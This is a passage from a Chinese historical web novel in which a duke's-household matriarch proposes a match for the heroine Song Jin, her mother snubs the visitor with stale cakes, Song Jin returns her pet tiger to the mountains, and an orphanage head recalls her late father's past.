这底层老百姓,日子不一定好过,但说话还是很好玩的,她就喜欢来这些鱼龙混杂的地方,听他们说着真真假假,大大小小的虚事。 很多时候都能听到点关于自家的。 “唉唉唉,你们听说了没?据说边疆又躁动了,漠人多次南袭,宋将军又要起复去往边疆了。” “可恨的漠人,真希望宋将军把北边全收了。” “我得回去多买点粮食,打仗的话肯定涨价。” …… 听到这里,宋锦眨了眨眼,思索了一下,嚼着个酥糖,转身离开,又往宋府走去。 因为宋商之死,宋家除了宋行之以外都没上朝,宋慎之这个将军也不例外,就在家里待着。他每日就练武看书骑马,好不自在。 宋锦还以为他不着急呢,现在看来是心中有数,知道漠北那边离不开他。 这人一走,应该又是以年起步了。 漠北条件艰苦,缺衣少 食,又有沙城暴等自然灾害,还少不了敌袭,他万一有个三长两短。 她的嫁妆得少一分不说,还得搭进去一份。 宋锦啧啧两下,打算回去给他添点东西,漠北啊,这种天气她熟,上辈子出过任务,在那边待了半年。 只不过末日的荒漠,比起现在的,就不是一个概念了。 生存手册也更有用。 宋锦许久没用,在心里思索着上辈子经常碰到的小问题和处理方法,打算一会儿回去写出来,就收他个一千,一万两不过分吧? 这么一路琢磨,她回到了宋府。 她刚到门口,就看到了陌生的车马,瞅着马车上的车徽,她挑起了眉。 竟然不是杨家或是程家,稀奇。 怎么的,年开了,宋家和都城其他人家的冰也破了? 她啧啧两声,带着这种好奇进屋,蹦跳着往家里走去,看着自己住的院墙,正准备翻身跳进自家小院。 在一旁左右翘首的小丫鬟急急忙忙跑过来阻止:“小姐小姐,等,等一等,别进别进。” 宋锦纳闷:“干吗?我娘又立规矩了?” 现在连自己屋都不给翻了? 小丫鬟擦了擦汗,哭笑不得:“不是这样,是有人来府里拜访,夫人说让您不忙着回去,” 牛铁兰的原话是,把她拦在外面,别进去捣乱。 宋锦:“来客人了?谁家的?” 小丫鬟低声:“是仁国公府的老祖宗。” 宋锦挑起眉头。 哟,仁国公府啊,大衍朝仅存的活的国公独苗了。 她问:“多少岁了?” 小丫鬟擦着冷汗:“六十有八。” 在这个时代,六十八已经很长寿了,指不定几年就没了。 宋锦懂了,她老娘这是怕她把人给气嗝屁了。 她想了想,一个老太婆也没什么好看的,她点点头打算去书房写书去,脚步迈开。 小丫鬟松气 宋锦又退了回来,笑眯眯:“对了,老太婆过来有什么事?” 小丫鬟:“……不知。” 宋锦深深叹气,语重心长:“这也不知那也不知,你个小丫鬟,怕是成不了大丫鬟啊,我还是去问问秋棠吧。” 努力竞争大丫鬟的蔓茵眼睛瞬间睁大,立马:“虽然不能确定,但是仁国公府太君德高望重,若不是有旧情,特意拜访,多是为儿女婚事。” 那可是都城顶尖国公府,深受眷宠,作为老太君,便是圣上也敬重有家,正常来说,老太君就是想见人,也是别人去国公府才是。 权势一上,宋付和仁国公府不好分个一二,但是辈分上,人家秒杀。 而且女眷相见,除了小辈婚事,其他事真没什么需要她出马的。 听到婚事二字,宋锦脸色一变,脚步一动,直接翻过墙角回了小院。 不好,有人要来和她抢娘了。 留下蔓茵站在原地,抓着衣袖,为自己的猪脑袋懊恼。 她的大丫鬟之路,漫漫啊。 第138章 不行不行 “夫人,有拜帖。” 这日,牛铁兰照例在院子里调香,府中管事走了进来。 她不慌不忙,把手中的香放进模具匣子了,在一旁铜盆中用香胰子净手。 年前宋行之把家里账本这些交了过来让她过眼,查看账本有误是假,让她知道家里有些什么东西为真。 库房里乱七八糟的名贵古董字画首饰金银成堆,牛铁兰看了两眼也就看了,但那些基本上只进不出的名贵香料药材,光是看着她还真有些心疼。 这些东西是外面买都买不到的,自然也不可能卖出去换钱,放在那儿又纯浪费。 牛铁兰作为制香好手,想来想去舍不得,干脆把东西拿了出来开始自己做,她的制香手艺本就少有人能匹,现在因为蛊虫,嗅觉比起以前提升了几个度,制起香来得心应手,还能根据自己心意心情调整,深受好评。 宋家兄弟五个都换了她做的,甚至送上东西,隐晦表示,希望日后都能像现在这般得到母亲关怀,就连杨彦珺和程思懿都厚着脸皮上门询过一次。 元宵过后,她这段时日都在捣鼓这些东西,从晾晒到研磨,都由她亲手制弄,不让外人插手,以防串了其他味道。 小心翼翼,就连亲闺女也不让碰。 杨管事心里有数,不近不远地站在一旁,恭敬道:“夫人,是仁国公府的帖子。” 作为宋府管事,他一点都不觉得自己牛铁兰自己制香有失身份。 虽然自家材料珍贵难寻,但到底只是其中几味,在外基本还是有价,与成品相比,这一年下来,光是家里几个主子屋里,那都能省个千两银子,更别说那些剩下的边角料他们这些下人也能沾个光。 家里的夫人真是奇人咧,不怪能和首辅大人诞下郡主了。 杨管事想着,神态越发恭敬,垂着脑袋,一个眼神都不往牛铁兰看去,免得冒犯了人。 牛铁兰不徐不慢地净手,柳眉轻蹙,有些疑虑:“仁国公府?我记得宋府和仁国公府并无多余往来,二月出头,他们一无生辰诞事,二无儿女亲事往来,怎的突然就来了?” 话里话外,竟是将仁国公府各房大事了若指掌的意思。 杨管事有些惊,下意识抬头,就见她手持绢擦拭,一小截皓腕露,细腻白嫩,在粲光下宛如发光的白玉,白得有些刺目。 不过一眼,他立马低头,不敢多看一眼。 只这一眼,她旁边的人已经看了过来,凤眸幽深,像是立在峭壁上的残石,看似悬悬欲碎,实则带着摧枯拉朽的姿态,能砸碎一切。 稳做宋府管家二十年,没谁比杨管事更懂家里的主子,相比他的身形、声音、习惯,相貌反而因为常年不敢直视,成了最不起眼的证据。 他不知道主子是怎么做到的,也不明白他为什么这般,但主子永远是主子,便是化为滴水溶于汪洋,也会一点点将其化同化,随心所欲。 杨管事脑海中闪过那些残肢断块,哀嚎呻吟,骨头一阵寒冷,他低着头,恭敬滴上拜帖:“回夫人,属下也不知,但仁国公府在朝颇有威望,不宜随意推辞。” 意思是,真不想见也可以,得找个像样点的理由。 而仁国公府颇有威望,最大的原因就是前一个倒台的英国公府,本来是双公并立,现在一枝独秀了,往好了说是位高权重独一无二,往坏了说。 枪打出头鸟,也不用过于忌惮。 牛铁兰思索片刻,擦干手,正要上前接过拜帖,身侧的人已经悠然上前,随意接过,他瞥着恭着脑袋的人,嘴唇微微勾起。 “杨管事,也快不惑之年了吧?” 听着那温和的声音,杨管家浑身一紧,谨慎:“奴才三十今年三十有七,还差三年。” “这般年轻,瞧着头上白发丛生,想来是日常过于劳累,不如——”曲茂泽微微停顿一番,意味深长。 杨管事头皮发麻,立马:“奴才少年白,公子,十来岁就白发了,并不是因为疲劳。府中上下有序,需要忙碌的不多,只是家中小儿子今日逃学厌学,气得我忘了染发。” 他的小命,稳住啊,稳住。 告老还乡什么的也别啊,他还能再奋斗几年,给家中妻儿攒下家财,日后改头换面,改换门庭。 曲茂泽轻笑一声:“这样啊,我还以为管事是在府中过于劳累,可以回去休息半旬。既然是家事,那边算了吧,回去也是自找烦恼。” 杨管事:…… 他愿意烦,他愿意。 杨管事作为大管家,平日也不似其他丫鬟小厮忙活杂事,只需白日过来管理仆役,整理家库。他成婚有孩子以后,宋商就给他在府中专门分了个小院,在外也宅子,平日休假就在那边,以便一家团聚方便。 他是奴籍,家里妻儿自然也是,不过等到三代以后,宋商给人重新立了户,脱了奴籍,有了其他的机会。 在这之前,便是家里儿子不能科考,也要让他读书识字开店。 大儿子在外面铺子当管事,二儿子也是,唯独小儿子,颇有读书天分,认字算数都有一手,被安排到很好了书院读书,近日不知道为何突然厌学。 杨管事愁啊。 “行了,把拜贴拿过来。”牛铁兰在一旁看着曲茂泽折腾人,心生无语,“杨管事这段时间也劳累了,等仁国公府一事过去,便回去休息几日吧。” 杨管事喜上眉梢:“奴才谢夫人开恩。” 曲茂泽轻啧一声,站在那儿,就打开拜贴看了起来,大摇大摆得不带一点儿掩饰。 牛铁兰瞥了瞥他,再瞥瞥低着脑袋装看不见的杨管事,摇了摇头:“说什么了?” 曲茂泽挑着眉,合了拜帖走到她跟前让她自己看,手肘就这么搭在她肩上,一起看着帖子上面的字。 未时拜访。 那不就是个时辰后了? 牛铁兰合上帖子,像来温柔和气的面庞上,倒是失了几分和气,她轻轻一笑:“不愧是仁国公府,明明可以直接来,还给我们送个帖子,真是仁厚谦逊啊。” 曲茂泽没忍住笑了出声。 牛铁兰本就没个好心情,被他这么一笑,直接瞪了过去,掀开他的胳膊,没好气道:“还有你,在这里站着干什么,仁国公府的人过来,你一个不明不白的外男,自己躲着去。” 曲茂泽笑不出来了。 牛铁兰没有和他多说点心思,把帖子砸在他胸口上,上前两步安排:“杨管事,去让丫鬟们把院子收拾一下,准备些茶水糕点,我记得,有一批冬日坏了的,本来要分给下人的,应该还没散完吧?” 说是坏了,其实也只是稍微潮了一点点,味道没那么好了。 正常人家都是自然接着吃,放在大家族里,差一点点都不行,这些次货都是分给家里下人的。 杨管事看着牛铁兰脸上的笑,迟疑了一番,才点了点头:“回夫人的话,还有一些。” 宋府人多,库房的东西也多,尤其是过年,自家采购的,其他人家送上来的,乱七八糟一大堆,便是好生安置,每年也会有那么些小问题。 牛铁兰点头:“糕点就用这些吧,茶叶就用金金喝的,其他的,按着正常规模来。仁国公府来的急,府里准备不周,想来他们也不会介意。” 仁国公府的人介不介意他不知道,反正他家主子一定不会介意。 杨管事瞅了一眼笑得跟花儿似的主子,前主子,老实应声:“……好的,夫人。” 说完他恭敬离开。 曲茂泽眼神全程落在牛铁兰身上,看到她眉眼间的烦躁,揶揄:“夫人好生厉害,连国公府也敢糊弄。” 牛铁兰抬脚一踩,睨:“我还敢踩国公府棺材板呢。” 说话间,她柳叶眉挑动,杏眸微横,比起平日的温柔恬雅多了些灵动骄横。 曲茂泽低低笑了笑,抬头抚着她的眉眼,抓着她的手放到胸前,咬着声音:“踩棺材板多没意思,不如直接踩人身上,就踩这儿,再……” 不等他说话那不要脸的胡话,牛铁兰挣开了人,两颊晕红,恼:“臭不要脸,回你自己的院子去。” 曲茂泽叹气:“哎,以色侍人果然不行,有客来访,我却只能龟缩小院。” 牛铁兰没有说话,就这么面无表情地看着他。 “夫人身体不好,不舒服记得寻医。” 曲茂泽没再闹腾,勾了勾唇,留下这么一句话,就悠悠离去,把场地让给了她。 牛铁兰思索他话里意思,没一会儿,扬着嘴角,低声嗔道:“阴险小人。” …… 仁国公府也是前朝的老牌国公府,在大衍朝城里初期安抚朝廷上下,帮着整顿秩序收拾烂摊子,是大功臣之家。 只可惜家中子嗣凋零,原本六房人口,在前朝死得只剩下的三房,前些年因为意外,二房一家老小遇到山崩,就只剩下两房人了,便是两房这些年努力开枝散叶,妻妾成群,到头来家里也就两个儿子,宝贝得跟眼珠子似的。 老大是现如今的国公府世子,三十出头,去掉女色后院,也算有为。 老二,二十出头,酒囊饭袋,色中窝囊废一个,正妻未有,后院妾室姨娘通房加起来都十来个,更别说外面姘头了。 牛铁兰想,那死老太婆若是敢打自家金金的主意,就别怪她不给面子了。 在她各方揣测之下,仁国公府的死老太婆,老太君如期而至。 这是一个颇有经历,也格外精明的老太太,她穿着深绿色鎏金织缎,手腕脖颈带着墨绿色玉石腕坠,额头带着同玉坠,整个人看起来和蔼慈祥,那双眼依旧闪着精光,让人不敢小觑。 牛铁兰迎了上去。 她换了一身素白衣服,整个人未施粉黛,纤细瘦弱,白如烟云,带着去不掉的病气,走两步咳一下,走散步顿一顿,一看便是常年带病的人。 丁老太君差两年就古稀了,还想期待一下耄耋,见牛铁兰衣服病殃殃的模样,心里立马就失了两分热络气,不再像之前那般想上前牵着人了。 她意思意思拉着人:“可怜见的丫头,瞧这小脸白的,请大夫了没?” 牛铁兰用手绢捂着嘴,咳了一声:“请了,但是我身体本就不好,一时半会儿好不了。也老太君来得急,不然怎么也不能病着见您。老太君一把年纪了,可得离我远点,小心别被染了。” 丁老太君:“唉,也怪我急着看你这丫头,扰了你休息。” 本来是想给个下马威的,结果一脚踩棉花上了。 牛铁兰:“老太君能来,是我的荣幸,哪儿用得上扰这个字?就是家里没什么准备,只能委屈太君将就一下……” 丁老太君心想,她要打就是这个‘将就’。 宋商那奸臣不在了,她可不想看到宋府如同以往一般的繁荣富贵,就想看他们凄凄惨惨的,荒凉颓废。 但也不是这么个凄惨法啊。 哪儿来的糕点,这是什么新奇口味,还是发霉了? 宋家老五的商铺倒闭了? 还有这茶水,看着有模有样,拿着上好的螺钿盒装着,怎么全都是些散的边角料啊。 坐在客厅里,丁老太君脸色变换,看着那一堆的东西,只觉得没一个好下咽的。 牛铁兰借着手绢掩了掩嘴角的弧度,咳嗽两声,拿起茶杯抿了一口,带着股叶子的味道,有些苦涩,等到后面才会回甜,味道其实挺好的,就是,便宜,一般人也吃不来。 她笑:“前段时间上火,嘴里起了泡,这是金金特意上山里给我摘的,又自己调的,在我这啊,比天下所有茶都好喝,老太君您可得多尝一尝。” 其实得反过来,这是宋锦吃零嘴上火,牛铁兰这当娘的特意给弄的,顺便把她那些好茶好叶都收走了,免得她牛嚼牡丹,当顿喝浪费。 现在拿来招待恶客,刚刚好。 丁老太君可不习惯,这一股子怪味,但又是孩子的爱母心意,不好挑理。她勉强笑了笑:“确实好喝,明光这孩子啊,孝顺。” 牛铁兰喜欢听这些话,也笑:“金金确实孝顺,日日早晚都会和我请安,见到什么稀罕物也会第一时间给我……” 虽然说,早晚请安纯粹是因为只有早晚见得到人,稀罕物,也不是一般人想的金银首饰,而是些稀奇古怪的虫蛇野兽。 丁老太君:“是吗?那可真是孝顺孩子,可惜了,要是宋首辅还在就好了。” 牛铁兰低眸轻叹,看着就是不想说的模样。 丁老太君眸光轻闪,又道:“瞧我这嘴,净说些不该说的,说起来,明光那丫头呢?没在家吗?” 牛铁兰神色微冷,喝了口茶,温声细语:“那丫头出去玩了,若早知道老太君过来,我就该让她在家里读书刺绣,也能装模作样一下。” 丁老太君笑:“这话说的,我可是听过明光的风头的,小姑娘活泼些精神好,也不是非得天天家里待着学习诗书礼乐,人都学的少了生气。明光这精神,要不是我家那老二不听话,我真是恨不得把人说回家,整个院里都是小姑娘的欢声笑语,多好啊。” 牛铁兰轻笑:“老太君说笑,这丫头的精神头啊,那能把房子都嚎倒。” 就仁国公府的情况,可不就是也是一整个院子的小姑娘了。 丁老太君:“小姑娘家家是要这个劲……” 说着,她顺着继续夸起了宋锦。 什么天真烂漫、妙趣横生、玲珑剔透、蕙质兰心…… 牛铁兰都快不认识这些词了,不过她也有数了,这人过来还真是因为她家闺女,好在心里有点数,没推荐仁国公府那脏臭玩意儿,不然她真得把人赶出去。 她温声细语:“老太君过奖了,说得我都不好意思了。” 丁老太君笑:“姑娘家优秀,有什么不好意思的?不像我家的姑娘,一个个,唉,都是些木头玩意儿。” 牛铁兰:“您对自家孩子要求太高了,我可是听说了,您家姑娘家啊,在都城规矩是最好的。” 丁老太君感叹:“这规矩再好,奈何你家各个小子也看不上啊。” “这我就不知了,家里的公子们,唉。”牛铁兰笑容微顿,又咳嗽几声,眼看着神色黯了下去。 一看就是做不得主,没少受气的模样。 丁老太君想想也是,别说宋商已经不在了,就是他在,牛铁兰一个外室,也当不得什么,更别说,她也听说这人身边 小白脸的事,宋家兄弟们能让她还在这待着,恐怕都是看在那和宋商一个模子印出来的宋锦份上。 她绕过这个问题,回归正题,叹气:“你家这几个公子,个顶个的能干,脾气自然也大一点,只得委屈你了。” 牛铁兰故作黯然,扯扯嘴角:“不委屈,我们母女俩现在日日锦衣玉食,已经是以前想都想不到的了。” 丁老太君笑了笑,看着那摆着有些发味的糕点,心道锦衣好说,玉食那可真说不上了。 两个人又绕着说了一阵。 丁老太君重回正题:“其实老身这次过来,也是受人所托,想要给明光郡主说个亲。” 牛铁兰早有预料,此刻也不意外,也,并不当回事,毕竟她闺女那边基本定下,就看上面圣旨何时下来了。 不过她也没表现出来,只道:“不知是哪家公子?” 丁老太君笑了起来,笑得真心实意,甚至还有些羡慕:“这位公子啊,在咱们永安城都说得上好,仪表堂堂,才学出众,家世也顶顶好,真是挑不出不好的。” 牛铁兰抿茶:“是吗?” 丁老太君见她这般淡定,有些意外,又加重道:“那就是咱们这次的探花郎。” 牛铁兰想想那些人都腌臜手段,对此说不上意外,但神色还是不由淡了下来。 牛铁兰的反应,完全出乎丁老太君的意料。 在她看来,储承安哪哪都好,她本来都想说给自家孙女的,没想到先被找上来当做媒人,她还有些遗憾呢。 这乡下出生的村姑,还看不上? 对上丁老太君狐疑的神色,牛铁兰缓过神,正要开口应付。 啪啪砰 院子那边传来声响。 牛铁兰眉头一跳,都不做起身,罪魁祸首就踩着重重地步子跑了进来。 那气势汹汹、横眉冷眼的,确实说得上一句‘天真烂漫’‘无拘无束’。 牛铁兰一见她这模样,就知道她想岔了,赶在人老太婆三个字之前先一步开口:“这是仁国公府的丁老太君,过来给你说亲的。” “给我说亲?” 宋锦脑袋上冒着的烟儿一点点散去,本来还有些锐利的目光看着都清澈了不少,她歪歪脑袋,瞅瞅她娘,再瞅瞅老太君,像模像样的,还是行了个礼。 “丁老太君安。” 不是和她抢娘,其他事都好说。 丁老太君看着宋锦勉勉强强的礼,也不在意,她和英国公府的老虔婆向来不对付,之前宋锦让人丢了大脸,她背地里可是多吃了几碗饭的。 当然,让她亲近,那也是不可能的。 这丫头跟猴似的,要规矩有武力,要讲理有武力,要弱点有武力。 她们这些个世家贵妇出门,最怕的不是阴狠坏女人,也不是什么柔弱小女人,而是宋锦这种没头没脑还有人护着的疯女人——吃了亏也只能自己咽。 丁老太君心里想了一堆,面上继续慈爱:“明光回来了?外面好玩吗?” 宋锦坐在自家娘亲旁边,就着她的杯子喝了口水,被苦得皱起了眉,瞅了她娘一眼,勉强咽下去,砸吧砸吧嘴:“还行,外面人多热闹。” 丁老太君又笑:“那就好,这来得早不如来得巧,正好和你娘说道求亲的事,你娘看起来不太满意,明光自己看看?要我说啊,这储家探花郎已经是永安城好的不能再好的少年郎了……” 她顺着夸起了人。 但她也没有乱夸,不管是从家世、相貌还是才学来看,储承安都是一等一的,就是吧。 “那个病秧子?”宋锦听到这个名字脑瓜子就有些疼,疯狂摇着脑袋,“不行不行,就他那小身板,走个雪地摔了都起不来的,太脆了,一不注意一拳压死了还麻烦。老太君你快别说了,来来来,吃糕点吃搞点。” 说着,她就拿起一遍的糕点塞到丁老太君嘴里,非常体贴地给她倒了一大杯苦茶。 “你多吃点多喝点,家里糕点茶水管够。” 丁老太君:…… 这丫头是不是想要毒死她? 第139章 更如恶鬼 提亲的事,宋锦没当一回事。 先不说她有对象,虽然说还没赐婚。 这点齐晔有顾虑两个人闹分手的情况,他总觉得两个人跟闹着玩似的,反正宋锦还在宋商孝期,成婚怎么的也得明年去了,他再看看。 要是两人因为这点时间分了,也免得以后闹矛盾。 要是到时候感情还好,再下赐婚也不晚。 对此,宋锦也无所谓,她就是处个对象,也不是说一定要成婚——当然能成婚还是好点,她还想要生两个崽子玩呢,但也不急。 去掉有对象的事,丁老太君过来说亲这事,在她看来也就是一个老太婆没事干过来说了一嘴,也不是正式提亲下聘什么的,和镇上大婶们没事干凑一起东家长西家短没什么区别。 她没放在心上,后面的日子,该凑热闹凑热闹,该约会该约会,然后,在一个风和日丽的好天气中,她把在家里蹲了三个月都躺成胖虎的黄黄送回山里。 再不出去真的不成虎样了。 考虑到黄黄的体型,宋锦这次还特意架了马车载虎,免得它路上就走不动了,没想到下了马车,这虎还是不动,就跟死虎一样趴在地上,圆滚滚金灿灿的大眼睛看着她:“咪~” “行了,别撒娇,这事没商量,靠天靠地都不比靠自己。” 宋锦揪着老虎脖子,本来是想把它给拖上去的,但是到底是自己养大的虎闺女,她还是没忍心,掀了掀袍子,就这么盘腿坐在地上,搓着它的脑袋,语重心长地和它讲起了道理。 “你是大老虎,要自己生活,要会捕猎,娘现在能养你,但是以后呢?到时候娘自己都吃不饱,是不是就得把你剥皮割肉卖称斤卖了换钱了?” 黄黄:“咪?” 不对劲,这话不对劲。 宋锦捏着它的虎腿子,继续:“再说了,胖了不好,容易高血压脑梗,你要做健康虎,多跑多锻炼。” 就它这胖虎的模样,她这次回去了下星期就得过来看看,免得这蠢老虎太胖了找不到吃的真给自己饿死了。 愁人。 黄黄不情不愿:“咪~” 宋锦敲它脑袋:“好逸恶劳,一点上进心都没有,再说了,你是头大咪咪了,不想谈个恋爱生个崽什么的?在家里多不方便。” 黄黄翻身,咬她的裙摆:“咪咪” 宋锦:“别想,没可能的,我是不会带你回去的。” …… 一人一虎你说你的我咪我的,一直到春日的暖阳照在枝头颤颤的花苞上,一点点照亮整片大地。 宋锦拍了拍虎头,站了起来吹了声口哨。 刚刚还在黏糊糊耍赖的黄黄站了起来,前肢下压,伸了个懒腰,蹭着宋锦的腿,就这么绕了两圈。 宋锦又是一声口哨。 黄黄不情不愿,还是迈着腿离开她,朝着山上走去,刚走上小坡,又是一个回头:“咪——” 宋锦白眼,哨声响起:“咻——” 黄黄甩甩皮毛,抬起脑袋,仰天长啸:“吼——” 林中雀鸟飞行,野兽也跟着逃窜。 离开三月的霸主又回来了,就算是圆了两圈,跑不太动了,也不影响它的威慑。 听着林子里的动静,黄黄又看了看自己人娘两眼,转身朝着林中跑去,金黄的身影很快就消失在了林叶之间。 宋锦勾了勾唇,拍拍手上的灰尘,也跟着往回走去。 永安城到诸山一百里路,坐马车过来,她来的时候小两个时辰,回去,她还真不想花这么久的时间。 想了想,她重新架着马车,往上杨村的方向过去。两边挨着,不过半个时辰她就到了村子外面,远远就看到了著名黑店同花客栈人来人往。 雪散了,那些没赶上上一波开恩科的书生又天南海北地赶了过来,再次遭受到了奸商的毒打。 宋锦最开始来的时候还在想,这黑店就开在皇城脚下,也不怕得罪人,定然是有些背景的,现在想想,可不是有背景嘛。 这村子育婴堂都是宋商资助的,若说这客栈和他没点关系,她脑子被水泡烂了可能会信。 她就这么架着马车来到客栈门口。 杨有羊屁颠屁颠跑了出来:“郡主大驾光临,是要打尖还是住店?” 宋锦打着哈欠:“给我来两个小菜,再找人帮我把马车送回去,我一会儿骑马回去。” 驾车两三个时辰,骑马快点一个时辰,她懒得等。 杨有羊乐呵呵:“没问题,刚好村里就有人要进城,晚上就给您一起送过去。” 宋锦摆手:“行。” 说着,她就进去里面吃饭。 客栈里面人不少,虽然客栈东西偏贵,但大部分读书人还是不缺这点钱,这里前后都差不多黑,没必要为了省点钱饿着肚子。 她挑了个边缘位置坐下,喝着茶水,等着那边上菜。 没等到菜先上,倒是先等到了育婴堂的堂主杨老六。 宋锦和这个堂主不算熟,但是因着宋商、宋清之、小花胜哥等人的因故,接触也说不上少,尤其是自家虎闺女在这边活动,平日也需他们注意一下不要命狩猎的人。 宋锦:“杨堂主找我有事?” 杨老六笑了笑:“倒也没什么事,只是听说郡主来了,想过来和您说说话。前段时间五公子遣人送了书来,堂里的小书房扩大了一倍。杨家夫人也送了料子银钱,给每个孩子都换了新鞋,孩子们很是开心。” 宋锦撑着下巴:“你们以前应该也不缺钱吧?” 杨老六摇头:“吃喝自然不愁,但是堂里孩子多,开销大,一旦想弄点其他的,就缺了不少。但是大人,您也知道他的性子。” 善心自然是有的,但要说多上心肯定不至于,而杨老六又想给这些孩子更好的出路,所以便是这些年育婴堂各种进账不断,也有些拮据。 现在宋清之接了手,他有钱大方又感同身受,每月给育婴堂的银钱翻了倍不说,各种书册技艺的支持也不断。 育婴堂比起之前可以说焕然一新。 杨老六非常感激,所以一听说宋锦来了,就急急忙忙过来,和她说着育婴堂的事情,也说着大家的感谢。 宋锦撇了撇嘴,本来想说自己才不了解那人,但话到嘴边,又觉得没什么必要,她现在说再多,也确实扯不清这个关系,也没什么必要扯清。 她就坐在那儿听着杨老六说着育婴堂,说着上杨村,说着这天下世道,又说起了宋商。 杨老六:“初见宋首辅时,育婴堂才十二个孩子,其中最小的孩子摔断了腿,每日拿药都需要不少银钱。那会儿村子里大家日子也不好过,我就想着去永安城要饭,多的不少,在外面多口饭,堂里就少出点钱。” 宋锦嘴角一抽:“……那你要到了?” 杨老六摇头:“那时朝堂混乱,民不聊生,城里百姓自己都不好过,哪儿有多的给外人?便是偶尔有心善的,一个饼子几文钱,也仅够吃食。” 宋锦:“你就遇上他了?” 杨老六点了点头,有些感慨:“那日下着大雨,几个孩子跟着我躲在破庙里,一个个冷得打哆嗦,肚子也跟着叫,宋大人从天而降……” “宛如神仙?”宋锦挑着眉头,总觉得这话有些眼熟,她老娘之前也这么说的。 这么想想,她死鬼爹还挺装的啊。 杨老六却是沉默良久,摇头,道:“更如恶鬼。” 宋锦:…… 杨老六苦笑:“他说府里缺丫鬟小厮,让我把人都卖予他,价钱,是外面的双倍。” 十个孩子,在当时给出了三百两的价钱。 三百两,足够他拿回去盖房买田买铺,过上不一样的人生了。 这也只是个开始,当时都宋商还说,若是以后还有,也这个价钱,无论大小。 这个诱惑,不可谓不大。 乱世时候,外面最多的就是孩子了,随便出去都能捡几个,若是愿意出个三两五两,更是随便挑。 宋商的提议,对于当时都杨老六来说就是稳赚不赔的生意,也可以说是通往地狱的通道。 宋锦没想到是这么个来龙去脉,她咋舌:“你肯定没同意。” “若当时同意了,世间也就没有我杨老六了。不过在那之后,育婴堂也有了些资本,在后面,村里也跟着发展起来。”杨老六苦笑一番,最后由衷感慨。 “宋大人是我们全村的大恩人。” 宋锦嘀咕:“那每次来吃东西你们还收我钱?” 杨老六卡壳:“这……” 宋锦哈哈一笑,带着些狡黠:“开玩笑的,我还愁我的钱花不完呢,菜来了,坐着吧,请你一起吃一顿,也省了堂里一顿饭。” 杨老六失笑,想拒绝,但是看着宋锦张扬明媚的脸,还是咽了下去,道:“那我便恭敬不如从命了。” 他有些感伤,如果郡主从小就在宋大人身边长大,大人这些年应该也能如这孩子一般明媚几分。 …… 吃完饭,宋锦又跟着人去育婴堂转了一圈,留下两百两资助后,骑着马心不在焉地飞奔回城。一路上摸着自己空空的钱袋子,她怎么感觉,自己被设套了呢? 她是家财万贯,但是大权都掌握在亲娘那呢,每个月零花钱什么的加起来也就百来两。私房钱,之前买铺子已经花得差不多了。 这段时间光出不进,钱袋子已经空空了。 宋锦嚼嚼花生米,思来想去,决定一会儿晚点去找她娘,算了,还是找死鬼爹要钱吧,这样也不会挨骂。 不行就再去找宋清之那个冤大头要点,再找找宋慎之这个大将军,他也有些家底,至于宋行之宋顺之和宋安之就算了吧,他们比她还穷,全靠家里补贴过日子。 唔,家里蹭完了,再去自家对象那儿抽两张。 齐铮虽然抠门节俭,但也只针对他自己,知道宋锦花钱没个数,专门给她留了钱匣子让她拿着玩。 不算多,也就,小万两银子。 这么想着,宋锦又放下心来,觉得一会儿回去了还可以去外面买点东西回去,她拉起马鞭 挥了挥,朝着前方的永安城飞奔而去。 二月出头,天气已经暖和许多,路边没了白雪,枝头绿意乍生,街头小巷人口攒动,一片生气勃勃之景。 城内不许纵马,她就骑在马背上,慢悠悠地往回走。 她回来得晚,正好赶上了下朝的大部队,挨着北区范围,左右车马不断,穿着官服的人在人群中很是显眼。 她吹了个口哨。 远远的,和同僚说着事的严盛看了过来,目露欢喜,和人说了两声就大步走了过来。 宋锦没有下马,悠悠坐在上面:“下值了?感觉如何?” 严盛笑:“还行,我们刚进去,主要是整理以前的旧册,了解情况,没什么事。” 他出身贫寒,所以更懂关系的重要,除了读书以外,也在交际上下功夫。入职这段时间,不说所有人都喜欢他,但是至少都没有恶意。 这就够了。 不过也因此,他这段时间明显瘦了一点。 宋锦看着他瘦削的脸颊,想了想,侧过身子,解开一边马背上的篓子递过去,里面装着一只野鸡一只野兔,她随意道:“喏,路上打的,给你,和舒程浩一起吃,两个瘦骨头。” 严盛心中一暖:“我就不和你客气了。” 宋锦啧了一声:“说这些,你好好过日子,早点升官发财,我娘也能多吃两碗饭。” 严盛失笑:“我努力不让婶子失望。” 说话间,宋锦又在人群里瞄到了一个身影,眼看着那病殃殃的人影朝着这边走来,她啧了一声:“烦人,我先走了,你自己小心,要是有人找你麻烦你就来找我。” 严盛有些莫名,顺着看了过去,看到储承安的身影,他眉头皱起,再见宋锦扬起马鞭,赶紧:“对了,肖大人他们已经到了,就在五马街道馆后面。” 听到这,宋锦挑起眉头,坐在马背上挥了挥手,骑着马离开这边。 她倒不是害羞或者不好意思,单纯就是不想和那个病秧子多接触,万一把人气病气死了,她娘又得念叨她了。 等到储承安过来,就只能看到她骑马转过巷子的背影,他眸色暗了暗,再看向一脸清正平和的严盛,扯了扯嘴角。 “严大人和郡主关系真好,这么多人在场,她就只看得到你。” 周围人看了过来。 严盛神色微冷,轻声:“我和郡主自幼一起长大,情同兄妹,又初来永安城,她自然惦念几分。” 储承安看着他:“竟然这样吗?郡主先前拒我提亲,我还以为她和严大人……” 严盛打断他,郑重:“储大人慎言,我和郡主乃是兄妹情谊,至于您,依我对郡主的了解,她若挑选儿郎,定然以武艺为首。像您这般,有在自怨自艾的功夫,不如回去多骑马御剑,早日养好身体,免得三五不时生病,不仅能让心上人看到决心,也更好为陛下分忧。” 说着,他转身离开,留下储承安站在原地,感受着四面八方的目光,脸上一片阴暗,双侧手也捏紧 这忘恩负义的小人竟敢,他竟敢如此。 叔父,你竟也看走了眼。 第140章 不是老友,真的不是。…… “老肖啊。” “你看看谁来了?” 老肖,姓肖,名仕,字字英禄,年四十,有五,但是看起来像五十五,略显沧桑,因为他是个倒霉蛋。 曾因拉肚子、摔到手、房子塌了被砸晕、严重风寒和被科考厕所熏晕而失利科考,等到第六次一路顺风考上进士,觉得自己能大展宏图了,又因得罪腐败的上司,被遍到偏僻小地方当着小卒。 一晃十年,一家子都跟着他受苦,没过过什么好日子。 直到那年遇到了县里闹灾,人手不够,他被调了过去帮忙,被首辅看中,重新启用,到了泗安县。 一来就是六年。 这六年间,泗安县一切井井有条,眼看着人口经济文化都欣欣向荣,从府州最末到了前排,又遇到该死的叛贼梁家。 肖仕觉得自己的前途就跟自己的命一样,就要消失了。 好在没出什么大问题。 他左等右等,总算等来了调职函。 太好了,没有被流放不说,还运气十分好,因为永安城大清洗多了空缺,他被调到了户部,成了四品的官员。 